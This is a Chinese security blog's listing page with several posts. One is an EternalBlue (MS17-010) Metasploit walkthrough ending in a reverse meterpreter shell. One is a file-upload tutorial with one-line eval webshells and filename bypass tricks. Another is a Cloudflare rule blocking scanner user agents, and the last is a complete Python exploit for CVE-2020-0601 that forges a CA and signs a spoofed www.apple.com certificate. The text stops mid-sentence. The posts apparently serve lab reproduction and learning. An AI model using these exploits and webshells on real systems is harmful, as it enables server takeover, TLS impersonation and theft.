首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
6,167 阅读
2
Cloudflare SAAS 接入自选教程
3,073 阅读
3
CloudFront CDN配置教程
2,685 阅读
4
Frpc使用XTCP不通过服务器传输
2,382 阅读
5
兽装曲腿制作文档
2,298 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
450
篇文章
累计收到
135
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
祈杰のblog
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
148
篇与
的结果
2020-04-06
ms17010上古漏洞复现
懵逼吗,突然复现一个上古的漏洞。没办法,今天忙着给站加功能了,只能水一篇了。再加上在某“大黑客群”发现一个还在耍这个洞的“大哥”。特此水下此文。0x01 实验环境攻击机:kali linuxip:192.168.75.129目标机:windows 7ip:192.168.75.133为了确保复现成功,先把360大爷和防火墙大哥关掉先然后看看445小老弟是不是在村门口了0x02 配置exploit老规矩,先进msfconsolemsf > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(ms17_010_eternalblue) > set rhost 192.168.75.133rhost => 192.168.75.133查看选项msf exploit(ms17_010_eternalblue) > show options设置目标机的IP,其他选项默认就可以;注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;0x03 配置payloadpayload只需要配置监听返回会话的IP;msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(ms17_010_eternalblue) > set lhost 192.168.75.129lhost => 192.168.75.1290x04 开始攻击警告:攻击过程可能导致目标系统宕机重启,谨慎操作!msf exploit(ms17_010_eternalblue) > exploit成功获得session。shell 进入主机操作
2020年04月06日
268 阅读
0 评论
0 点赞
2020-04-06
文件上传漏洞
文件上传漏洞文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。在了解文件上传漏洞之前先了解什么是Web容器、IIS、文件解析。什么是web容器?web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。容器*:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。服务器:www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。什么是IIS?IIS全称是互联网信息服务,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。.net Framework是基础类库,是程序运行的底层框架。IIS是架设Web服务器用来提供网页游览服务的,属于系统环境。一般用ASP.NET开发软件,然后靠IIS对公网提供服务。什么是文件解析?当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名。服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端。1 解析漏洞攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。常见的Web容器有ⅡS、Apache、Nginx、Tomcat等,下面主要讲IIS、Apache容器。1.1 IIS解析漏洞IIS 6.0在解析文件时存在以下两个解析漏洞。当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。 例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。 “NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。 当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。1.2 Apache解析漏洞Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。2 绕过上传漏洞绕过上传漏洞分以下两种。客户端检测:客户端使用JavaScript检测,在文件未上传时,就对文件进行验证;服务器端检测:服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至有些程序员检测文件中是否嵌入恶意代码。在研究上传漏洞之前,首先来看两个小工具:中国菜刀和一句话图片木马。“中国菜刀”这款软件是用来管理网站文件的,非常小巧灵活,它仅仅需要一段简短的代码就可以方便地管理网站。中国菜刀现在已经成为安全研究者手中必备的利器,其官方网站为:http://www.maicaidao.com。该软件提供的服务器端文件仅有一行代码。目前支持的服务器端脚本包括:PHP、ASP、ASP.NET、JSP等,并且支持HTTPS安全连接的网站。常见的代码如下:Asp一句话:<%eval request(“xxx”)%>Php 一句话:<%php @eval($_POST[xxx]);?>Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>正因为代码短小精悍,所以被黑客称为一句话木马(一句话后门)。将<?php @eval(S_POST['xxx']);?>保存为shell.php,上传至PHP主机空间中,配置菜刀进行连接。IIS6.0的解析漏洞触发条件:必须是IIS6.0的环境文件名漏洞 正常命名:as.jpg触发漏洞的命名方式:as.asp;.jpghttp://192.168.16.128/as.jpg 打开是一张正常的图片。http://192.168.16.128/as.asp;.jpg 打开已经被解析成asp的源码了。文件夹名漏洞 正常命名:a/as.jpg触发解析漏洞的命名:a.asp/as.jpghttp://192.168.16.128/a/as.jpg 打开是一张正常的图片。http://192.168.16.128/a.asp/as.jpg 同样,打开已经被解析成asp的源码了。二、IIS7.0、IIS7.5 以及Nginx<8.03 解析漏洞IIS7.0和IIS7.5的解析漏洞没有IIS6.0那样全面,有时候或许没效果。还有一点需要注意:IIS7.0、IIS7.5这种解析漏洞只适用于PHP编程语言的网站;不像IIS6.0的解析漏洞,ASP和PHP都可以。正常的命名:a.jpg触发解析漏洞的命名:a.jpg/.phpwww.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg 打开是一张正常的图片。www.*.com/upload/20190622/aa0j4si01j741b2ugpgbgc8t4a. jpg/.php 同样,打开已经被解析成PHP的源码了。试想一下,如果这个图片是我的PHP一句话木马呢?是不是说明这个PHP一句话木马已经被解析了。接下来,我们用中国菜刀或中国蚁剑连接就可以轻松获取到webshell了。三、Apache解析漏洞apache解析很奇怪,它解析是按照向左解析法来的,虽然说,到目前为止,我还暂时没有碰到过有这种漏洞的网站。向左解析法:a.jpg.asp.gif.xxx大概意思是,当Apache碰到 .xxx 不认识的时候,它会向左移找下一个,继续解析 .gif,这里就会以 .gif 来解析后面依次类推主。a.php.xxx 解析成a.phpb.php.xxx 解析成b.php四、空格 和 . 绕过上传限制空格和点在Windows系统下会自己忽略掉。a.asp 去绕过对上传的限制a.asp. 去绕过上传限制五、绕过上传的方法之00截断00截断就是指用%00;a.asp%00.jpg 就会变成a.asp,后面的.jpg就会被%00截断了。
2020年04月06日
169 阅读
0 评论
0 点赞
2020-04-05
水平越权与垂直越权
越权访问漏洞越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。水平越权访问漏洞水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。 假设用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的这种行为就叫做水平越权访问。垂直越权访问漏洞垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。防范措施前后端同时对用户输入信息进行校验,双重验证机制 调用功能前验证用户是否有权限调用相关功能 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
2020年04月05日
382 阅读
0 评论
0 点赞
2020-04-04
如何利用Cloudflare Workers构建一个免费无服务器导航页
Cloudflare的东西,出了名的慷慨,Workers功能在前不久提供了免费的模式每天10W次请求数量,无限流量,真猛啊!拿去做个小站简直不要太舒服哦Cloudflare的东西都懂的,抗DDoS一级棒哦,就是电信联通延迟有点美丽。。。》》》白嫖万岁!老规矩,先把代码丢上来,然后慢慢讲解const config = { title: "导航首页", //write your website title subtitle: "鹏龙-道记", //write your website subtitle logo_icon: "sitemap", //select your logo by semantic-ui icon (you can get more msg in:https://semantic-ui.com/elements/icon.html) hitokoto: true, //use hitokoto or not search:true, //enable search function search_engine:[ //choose search engine which you use { name:"百 度", template:"https://www.baidu.com/s?wd=$s" }, { name:"谷 歌", template:"https://www.google.com/search?q=$s" }, { name:"360", template:"https://www.so.com/s?q=$s" }, { name:"shodan", template:"https://www.shodan.io/search?query=$s" }, ], selling_ads: false, //Selling your domain or not.(turning on may be helpful for selling this domain by showing some ads.) sell_info:{ domain:"example.com", price:500, //domain price mon_unit:"yen sign", //monetary unit contact:[ //how to contact you { type:"envelope", //contact type ("weixin","qq","telegram plane","envelope" or "phone") content:"info@example.com" } ] }, lists: [ //Url list { name:"技术", icon:"code", list:[ { url:"https://oschina.net/", name:"开源中国", desc:"程序员集散地" }, { url:"https://v2ex.com", name:"V2EX", desc:"程序员集散地" }, { url:"https://csdn.net/", name:"CSDN技术社区", desc:"程序员集散地" }, { url:"https://github.com/", name:"Github", desc:"程序员集散地" }, { url:"https://www.vulbox.com/", name:"漏洞盒子", desc:"漏洞盒子" }, { url:"https://www.ichunqiu.com/", name:"I春秋", desc:"I春秋" }, { url:"https://www.butian.net/", name:"补天", desc:"补天" }, { url:"https://www.freebuf.com/", name:"freebuf", desc:"freebuf" }, ] }, { name:"学习", icon:"graduation cap", list:[ { url:"https://w3school.com.cn/", name:"W3school在线教程", desc:"程序员集散地" }, { url:"https://www.runoob.com/", name:"菜鸟教程", desc:"程序员集散地" }, { url:"https://segmentfault.com/", name:"思否社区", desc:"程序员集散地" }, { url:"https://jianshu.com/", name:"简书", desc:"程序员集散地" }, ] }, { name:"博客圈", icon:"code", list:[ { url:"https://www.jcdpn.cn/", name:"鹏龙-道记", desc:"日常更新" }, ] } ] } const el = (tag, attrs, content) => `<${tag} ${attrs.join(" ")}>${content}</${tag}>`; async function handleRequest(request) { const init = { headers: { 'content-type': 'text/html;charset=UTF-8', }, } return new Response(renderHTML(renderIndex(),config.selling_ads? renderSeller() :null), init); } addEventListener('fetch', event => { return event.respondWith(handleRequest(event.request)) }) /*通过分析链接 实时获取favicon * @url 需要分析的Url地址 */ function getFavicon(url){ if(url.match(/https{0,1}:\/\//)){ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url.split('//')[1]; return "https://icon.occ.hk/get.php?url=" + url; }else{ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url; return "https://icon.occ.hk/get.php?url=http://" + url; } } /** Render Functions * 渲染模块函数 */ function renderIndex(){ const footer = el('footer',[],el('div',['class="footer"'],'Powered by' + el('a',['class="ui label"','href="https://www.jcdpn.cn/"','target="_blank"'],el('i',['class="github icon"'],"") + '龙帝') + ' ©')); return renderHeader() + renderMain() + footer; } function renderHeader(){ const item = (template,name) => el('a',['class="item"',`data-url="${template}"`],name); var nav = el('div',['class="ui large secondary inverted menu"'],el('div',['class="item"'],el('p',['id="hitokoto"'],'条条大路通罗马'))) var title = el('h1',['class="ui inverted header"'],el('i',[`class="${config.logo_icon} icon"`],"") + el('div',['class="content"'],config.title + el('div',['class="sub header"'],config.subtitle))); var menu = el('div',['id="sengine"','class="ui bottom attached tabular inverted secondary menu"'],el('div',['class="header item"'],' ') + config.search_engine.map((link,key) =>{ if(key == 0){ return el('a',['class="active item"',`data-url="${link.template}"`],link.name); }else{ return item(link.template,link.name); } }).join("")) var input = el('div',['class="ui left corner labeled right icon fluid large input"'],el('div',['class="ui left corner label"'],el('img',['id="search-fav"','class="left floated avatar ui image"','src="https://www.baidu.com/favicon.ico"'],"")) + el('input',['id="searchinput"','type="search"','placeholder="搜索你想要知道的……"','autocomplete="off"'],"") + el('i',['class="inverted circular search link icon"'],"")); return el('header',[],el('div',['id="head"','class="ui inverted vertical masthead center aligned segment"'],(config.hitokoto ? el('div',['id="nav"','class="ui container"'],nav) : "") + el('div',['id="title"','class="ui text container"'],title + (config.search ? input + menu :"") + `${config.selling_ads ? '<div><a id="menubtn" class="red ui icon inverted button"><i class="heart icon"></i> 喜欢此域名 </a></div>' : ''}`))) } function renderMain() { var main = config.lists.map((item) => { const card = (url,name,desc)=> el('a',['class="card"',`href=${url}`,'target="_blank"'],el('div',['class="content"'],el('img',['class="left floated avatar ui image"',`src=${getFavicon(url)}`],"") + el('div',['class="header"'],name) + el('div',['class="meta"'],desc))); const divider = el('h4',['class="ui horizontal divider header"'],el('i',[`class="${item.icon} icon"`],"")+item.name); var content = el('div',['class="ui four stackable cards"'],item.list.map((link) =>{ return card(link.url,link.name,link.desc); }).join("")); return el('div',['class="ui basic segment"'],divider + content); }).join(""); return el('main',[],el('div',['class="ui container"'],main)); } function renderSeller() { const item = (type,content) => el('div',['class="item"'],el('i',[`class="${type} icon"`],"") + el('div',['class="content"'],content)); var title = el('h1',['class="ui yellow dividing header"'],el('i',['class="gem outline icon"'],"") + el('div',['class="content"'],config.sell_info.domain + ' 正在出售')); var action = el('div',['class="actions"'],el('div',['class="ui basic cancel inverted button"'],el('i',['class="reply icon"'],"") + '返回')); var contact = config.sell_info.contact.map((list) => { return item(list.type,list.content); }).join(""); var column = el('div',['class="column"'],el('h3',['class="ui center aligned icon inverted header"'],el('i',['class="circular envelope open outline grey inverted icon"'],"") + '联系我') + el('div',['class="ui relaxed celled large list"'],contact)); var price = el('div',['class="column"'],el('div',['class="ui large yellow statistic"'],el('div',['class="value"'],el('i',[`class="${config.sell_info.mon_unit} icon"`],"") + config.sell_info.price))); var content = el('div',['class="content"'],el('div',['class="ui basic segment"'],el('div',['class="ui two column stackable center aligned grid"'],el('div',['class="ui inverted vertical divider"'],'感兴趣?') + el('div',['class="middle aligned row"'],price + column)))); return el('div',['id="seller"','class="ui basic modal"'],title + content + action); } function renderHTML(index,seller) { return `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>${config.title} - ${config.subtitle}</title> <link href="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/gh/sleepwood/cf-worker-dir@0.1.1/style.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.js"></script> </head> <body> ${index} ${config.selling_ads ? seller : ''} <script src="https://v1.hitokoto.cn/?encode=js&select=%23hitokoto" defer></script> <script> $('#sengine a').on('click', function (e) { $('#sengine a.active').toggleClass('active'); $(e.target).toggleClass('active'); $('#search-fav').attr('src',$(e.target).data('url').match(`+/https{0,1}:\/\/\S+\//+`)[0] + '/favicon.ico') ; }); $('.search').on('click', function (e) { var url = $('#sengine a.active').data('url'); url = url.replace(`+/\$s/+`,$('#searchinput').val()); window.open(url); }); /* 鼠标聚焦时,回车事件 */ $("#searchinput").bind("keypress", function(){ if (event.keyCode == 13){ // 触发需要调用的方法 $(".search").click(); } }); $('#menubtn').on('click', function (e) { $('#seller').modal('show'); }); </script> </body> </html>` }此源码来自于Github上的一位大佬,在此感谢一下。进入Cloudflare Workers控制台,有一个创建Worker的按钮。还看?直接点进去啊,慌什么。。。系统默认生成会自带一端Hello Word,我们将刚刚的代码替换进去直接保存部署,当然,你也可以调整一下,在旁边的浏览里面查看页面效果不出意料,非常无脑,直接就搞定了,自动生成的域名非常难受,你可以选择重命名来调整主机名...........边缘脚本部署是不是很简单,还堪称0成本什么是无服务器?通常而言,构建和维护易于扩展的应用程序可支持需求高峰或全球用户群,但这需要大量前期工程和持续运营支持。 开发人员不得不花费大量时间编写支持代码,而非构建应用程序本身。 而借助 Cloudflare Workers,开发人员能够构建无服务器的可扩展应用程序,无需在基础设施或操作上花费时间和精力。借助 Cloudflare Workers,开发人员能够在 Cloudflare 的全球云网络上部署无服务器的 JavaScript 应用程序,应用程序能够在这个网络中无缝扩展,更加接近最终用户。 Workers 基于 Service Workers API 构建,可为向应用程序发出的每次 HTTP(S) 请求接收事件。 然后,Workers 运行应用程序逻辑,并可向 Cloudflare Cache、Cloudflare Workers KV 或应用程序原始服务器发出后续请求,以将数据返回给用户。
2020年04月04日
505 阅读
0 评论
0 点赞
2020-04-03
Cloudflare如何自定义节点
cloudflare是非常良心的企业了,它的cdn服务的口碑是非常好的,但是随着cloudflare的用户多了,还有一些不为人知的原因,cloudflare的cdn的速度越来越慢,对于中国大陆的用户来说,也是使用的美国的节点。毕竟入口带宽是有限的,所以在用网高峰期,也就是晚上是非常卡顿的,某些番茄佬WSS+CDN祸害CF就不说了这个cloudflare也是一个非常有趣的公司,他通过cf partner提供的服务比他自己提供的服务要好一些,至少cf partner的服务可以使用cncme的接入方式和ip的接入方式,但是官网的只能使用NS方式。但cloudflare的DNS服务的体验真的不是很爽,没法暂停解析,没法编辑只能删除重建。所以大家如果不想更改NS服务器可以使用cf partner提供的服务。而且cf partner的节点据说还要快一些。这里提供两个比较稳定的cf partner的服务提供者http://cdn.bnxb.com/ 本次教程使用的网站https://cf.tlo.xyz/ 直接进入,选择域名接入填好你站的相关数据就可以看到你的网站已经激活了(原先的NS方式要先移除)然后您就可以在原域名解析商那边解析cname记录了免费给出的节点稍微有点少,只有标志性的104.27的Anycast节点。这里给出一个亚太地区访问稍快的已经解析好的记录cdns.n1.tv9v.cn不低于15个节点,本站不倒,解析不倒,不定期更换最快节点,(拜托,醒醒,你在大天朝)不过肯定比免费节点来的快晚高峰就算了吧,大天朝的晚上,延迟都会飚到200ms不过不包含移动网络,移动线路走的是香港节点,国内平均能到50-60ms海外线路就非常美观了全球平均才10-20ms 得益于Anycast的加速Cloudflare的防火墙也是个有趣的东西,很多站长经常被CC攻击(DDos就不说了,cf免费无限抗),甚至启动了5秒盾还是依旧会被穿盾。这里分享两个自用的规则验证码盾抗CC:(cf.threat_score gt 2 and not cf.client.bot)过滤扫描器UA:(http.user_agent contains "HTTrack") or (http.user_agent contains "Apache-HttpClient") or (http.user_agent contains "harvest") or (http.user_agent contains "audit") or (http.user_agent contains "dirbuster") or (http.user_agent contains "pangolin") or (http.user_agent contains "nmap") or (http.user_agent contains "sqln") or (http.user_agent contains "hydra") or (http.user_agent contains "Parser") or (http.user_agent contains "libwww") or (http.user_agent contains "BBBike") or (http.user_agent contains "sqlmap") or (http.user_agent contains "w3af") or (http.user_agent contains "owasp") or (http.user_agent contains "Nikto") or (http.user_agent contains "fimap") or (http.user_agent contains "havij") or (http.user_agent contains "zmeu") or (http.user_agent contains "BabyKrokodil") or (http.user_agent contains "netsparker") or (http.user_agent contains "httperf") or (http.user_agent contains "bench") or (http.user_agent contains "SF") or (http.user_agent contains "acunetix") or (http.user_agent contains "Appscan") or (http.user_agent contains "HP ASC") or (http.user_agent contains "Rsas") or (http.user_agent contains "WebReaver")
2020年04月03日
339 阅读
0 评论
0 点赞
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 